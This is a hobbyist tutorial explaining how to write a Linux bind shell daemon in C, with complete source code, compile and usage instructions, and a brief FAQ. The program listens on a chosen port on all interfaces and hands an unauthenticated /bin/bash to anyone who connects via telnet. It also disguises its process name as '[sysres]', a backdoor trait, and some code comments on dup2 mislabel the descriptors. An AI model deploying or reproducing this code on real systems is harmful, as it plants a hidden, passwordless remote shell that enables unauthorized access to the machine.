How to write simple bind shell on port daemon in Linux?

Rumen Rachkov

Contents:

- 1. Introduction

Imagine the situation that you have physical access to a computer and you can only write your own daemon if you want to have remote access to the machine (it's a little dummy example but I hope you'll understand the point). In this paper I will explain to you how to write simple program that will bind shell on specified port on the Linux machine. If you have used SSH we will try to make something like the base of this daemon. You will connect to the machine from a specified port and you will be able to use the shell from your remote computer. I will also try to explain the code line by line to be simpler for you to understand. Also I have added a FAQ section and useful literature that will be helpful for you.

- 2. Requirements

- C/C++ knowledge
- Linux network programming knowledge in C
- C compiler
- Linux system
- Some brain ☺

- 3. Algorithm

The algorithm is very simple. The only thing you need is knowledge in network programming in Linux using C. Here it is:

1. Check the arguments given.
2. Create socket structure on a user specified port as an argument.
3. Create a socket using that structure.
4. Create fork.
5. In the fork bind port with the socket created.
6. Start listening on that port (max 5 connections).
7. Start endless loop in which we accept the packets from the remote client.
8. Executing remote client's commands.
9. Writing output to socket.
10. Close the socket.

In the next section is the realization of the algorithm.

- 4. Source

We name the file "bindsh.c". Here is the source code:

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <strings.h>
#include <sys/types.h>
char shell[] = "/bin/bash"; //Shell that you are going to use
char cmdname[] = "[sysres]"; //The fake name of the process
char message[] = "\n Bind Shell\n"; //Welcome message ☺
int main(int arg, char **param[])
{
int sd, datas; //File descriptors
```

```
 int sins, port;
 char c;
 struct sockaddr_in saddr;
 struct sockaddr_in saddrd;
 sins = 0x10; // Size
 /* Arguments */
 if( arg != 2)
 {
printf("Usage: %s <port>\n", param[0]);
 exit(0);
 }
 /* Port check */
 port = atoi((char *)param[1]);
 if( port > 65535 | port < 1)
 {
 fprintf(stderr, "Error: Ports must be > 0 and < 65535\n");
 exit(1);
 }
 /* Create socket struct */
 bzero(&saddr, sizeof(saddr));
 saddr.sin_family = AF_INET;
 saddr.sin_port = htons(port);
 saddr.sin_addr.s_addr = INADDR_ANY;
 /* Create socket */
 if(( sd = socket( AF_INET, SOCK_STREAM, 0)) < 0)
 {
 fprintf(stderr, "Error: Creat Socket Failed\n");
 exit(1);
 }
 /* Fork - (description in FAQ) */
if( fork() == 0)
 {
 /* Bind port */
 if( bind(sd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0)
 {
 close(sd);
 fprintf(stderr, "Error: Bind Failed\n");
 exit(1);
 }
 /* Listen port */
 if( listen(sd, 5) < 0) // Listen port. Max active connections = 5
 {
close(sd);
 fprintf(stderr, "Error: Listen Failed\n");
 exit(1);
 }
 for(;;) //Endless loop ☺
 {
 if(( datas = accept(sd, (struct sockaddr *) &saddrd, &sins)) > 0)
 {
```

```
 write(datas, message, sizeof(message));
 dup2(datas, 0); //Duplicates to NULL (description in FAQ)
 dup2(datas, 1); //Duplicates to stderr
 dup2(datas, 2); //Duplicates to stdout

execl( shell, cmdname, 0); //Execute and leave its params
 close(datas);
 exit(0);
 }
 }
 }
close(datas);
}
```

- 5.1. How to compile?

I will write these two sections to help the absolute noobs compile their bind shell daemon ☺.

Here is the line you are looking for:

gcc –o bindsh bindsh.c

- 5.2. How to use?

We start the daemon on the server using the line:

./bindsh <port>

Where <port> is a port between 0 and 65535. After you have written this line the daemon is started and you are ready to connect from the remote computer. If there is an error the daemon will tell you about it.

Example: # ./bindsh 1234

(This will open port 1234 for connection from remote clients.)

Now… how to connect to the server from your remote client:

telnet <ip of the remote machine> <port>

Example: # telnet 123.123.123.123 1234

(You will have shell to write after the execution of this line)

I think that's enough to understand how to write and use the Bind Shell Daemon ☺. You can add some additional options to your daemon. For example to ask you for user name and password. It will be useful but I will leave that to you ☺.

- 6. FAQ

When we don't use google.com ☺.

-> What is fork?

- fork() causes creation of a new process. The new process (child process) is an exact copy of the calling process (parent process).

-> What is file descriptor?
- A small positive integer that the system uses instead of the file name to identify an open file.

-> What does dup2() do?
- Duplicates an open file descriptor.

-> Other functions or terms from the source?!
- google.com ☺

- 7. Useful Literature

- Network programming in C under Linux
(http://excluded.wgv.at/papers/NetworkC-eng.html)
- Beej's guide to network programming in Linux using Internet sockets
(http://beej.us/guide/bgnet/)

- 8. References

- PsyBind – same but done with more options (e.g. username and password)
(http://rst.void.ru/download/psybind.c)